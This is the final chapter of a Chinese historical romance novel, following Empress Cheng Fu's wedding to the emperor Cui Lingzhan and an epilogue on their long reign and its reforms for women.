程芙发觉自己说什么都令凌云感到厌恶,便一言不发。 他离开了。 她这一生都不知道他究竟是个什么样的人,更不会知道他只吻过她,也只被她吻过。 …… 明启元年,十月初九,帝后大婚。 这场婚礼将持续五天五夜。 前三天帝后和礼官都要斋戒,第四日由鸿胪寺和礼部的官员在奉天殿设诏案、帝王宝座,再于坤宁宫同样设案摆皇后宝座。 第五日文武百官身穿朝服在奉天殿站班侍立,恭迎身穿衮服的皇帝祭告天地宗庙,以香帛、酒脯行一献之礼。 与此同时,皇后身穿祎衣,头戴九龙九凤点翠金冠,缀以宝石花钿、珍珠流苏,盛装步入坤宁宫,两名女官上前躬身扶皇后走上丹墀,落座皇后的宝座,接受命妇朝见。 以年约六旬的怀国公夫人为班首,率众命妇进殿,先四拜,女官唱词,班首怀国公夫人上前一步致贺词,女官宣跪,众命妇皆跪三叩首方起身。 从头到尾不需要程芙做任何动作说任何话,她必须面容肃穆且庄重地俯瞰下首一切。 女官宣众命妇起身,大家纷纷站直了身子,再行最后一拜,方为礼毕。 最后礼官迎着鼓乐双手献上皇后独有的宝册金印。 到了晚上程芙还要去奉天殿,接受百官的祝贺,贴身女官则为她接收百官以及命妇的称贺表笺。 堆积如山的信笺里有一封来自徐峻茂,写时他没觉得能被皇后看见,毕竟这只是一个仪式。 成为皇后的她即将面对一个全新的世界,有许多自己的事要忙,没有谁会真的坐下来读陌生人写的千篇一律的恭贺之词。 他唯有寥寥几行字:兹遇皇后殿下,膺受册宝,臣心不改,惟愿殿下芝兰千载,琴瑟百年。 他不仅给她写贺词,还亲手将她的册封诏书递给礼官,礼官手捧诏书,于承天门宣读。 华灯点亮了宫城,星火煌煌。 子夜时分,“咻——”一串串烟花升空,绽放,宛如五颜六色的牡丹。 坤宁宫既是帝后的婚房,亦是皇后的宫殿。 寝殿淡香沉稳幽远,满目赤与金,琳琅耀目,新帝与他的皇后终于得以相见。 内侍服侍崔令瞻解下十二旒冕,没有了十二道玉串垂旒的遮挡,他看见自己的皇后正端坐拔步床内,华丽宽大的青绿织金祎衣都遮挡不住她的柔美秀丽。 他疾步走向她,正红色的云锦衣摆随之浮动,泛起绮丽的光泽,直到站定她身前,流光渐渐静止。 “累吗?”他俯身靠近,亲手为她取下沉重的凤冠。 程芙抬眼凝看他,轻声道:“累得不轻,教引嬷嬷一直安慰我就快结束……” 崔令瞻屈指轻轻划一划她的脸颊,痒痒的。 帘外款步走来一名女官,双手奉上剔红托盘,喜声恭请帝后共饮合卺酒。 此为婚礼的最后一道仪式。 崔令瞻颔首,“进。” 女官方移步半掩的轻纱帘内。 崔令瞻与阿芙各自端起碧玉酒盏,福喜嬷嬷便开始唱词,吐字清晰,音色温暖醇厚,道不尽对新人的祝福与美好。 他与她脉脉相顾,交杯互饮。 这一生几多坎坷,往后余生或许还有小小考验,但他待她心如明月,永志不渝,赤忱似磐石不移。 满池娇熏炉沉香苒苒,程芙仿佛嗅到了淡淡的山矾香气,她记得崔令瞻于漪碧园中介绍山矾的话,传说此树高洁吉祥,在它枝丫下倾诉衷肠的男女,终会有至死不渝的爱情。 关于新婚夜回忆,流光溢彩,她记得沐浴时充满了玫瑰汁子的浓郁,烘头发的熏炉里散发着淡淡的百合与荔枝香气,而崔令瞻的怀抱依旧是她情有独钟的清英味道,他的气息与手掌,无不牵引着她的嗅觉,寸寸沉沦。 他轻吻过她的耳垂、后颈,她在迷离的幻境里轻轻咛了一声,被他翻了过去,宛如白皑皑雪原盛开了一片春色海棠。 崔令瞻张开五指,一寸一寸地插-进她指缝,与她十指扣紧。 他们的第一个孩子便是在这一生都难以忘怀的美好中悄然生了根,茁壮发芽。 “我爱你,永远。” 他低眸替她擦擦眼角幸福的泪花。 后世史料记载明启帝一生仅有程皇后,育有一子二女。在位六十年,大昭达到了空前盛世,女子地位全面提升,各州府县女学林立,更设有专门的女子医馆。 在内阁学士徐峻茂的推动下,刑部重新编纂律法,加大了逼良为娼的惩罚力度,此外织布坊、绣庄、造纸坊逐渐取代了官营私营的青楼楚馆,女子均可大大方方进坊做工,赚取嚼用。 有了进项,再加上官府的打击力度,民间私窠也日渐绝迹。当时儒林士大夫推行洁身自好、修身养性,以男女风气不正为耻,眠花宿柳不再是文人雅士自诩风流的工具,成了一种上不得台面令人鄙夷的私德有亏行为。 民风民俗普遍向善。 明启六十一年崔令瞻退位,以太上皇身份携太后移居锦山漪碧园,静享山水岁月。 他们的故事很多,留在史书上不过寥寥几页。 野史称明启帝不举,遂才仅娶程皇后一人,以便遮丑。后世学者研究野史,发现著书之人乃一名被抄家砍头的犯官子孙,著完不过二十余日,此人因吃绝户不成锒铛入狱,没过两年病死狱中,其作经口口相传,稀里糊涂传了十几个版本,供人茶余饭后谈笑,笑笑之余,没什么人当真。 真真假假在历史的长河中都有痕迹。 明启帝的功绩是那一段历史最璀璨的明星,还有他一生的挚爱程皇后。 ——正文完——《 》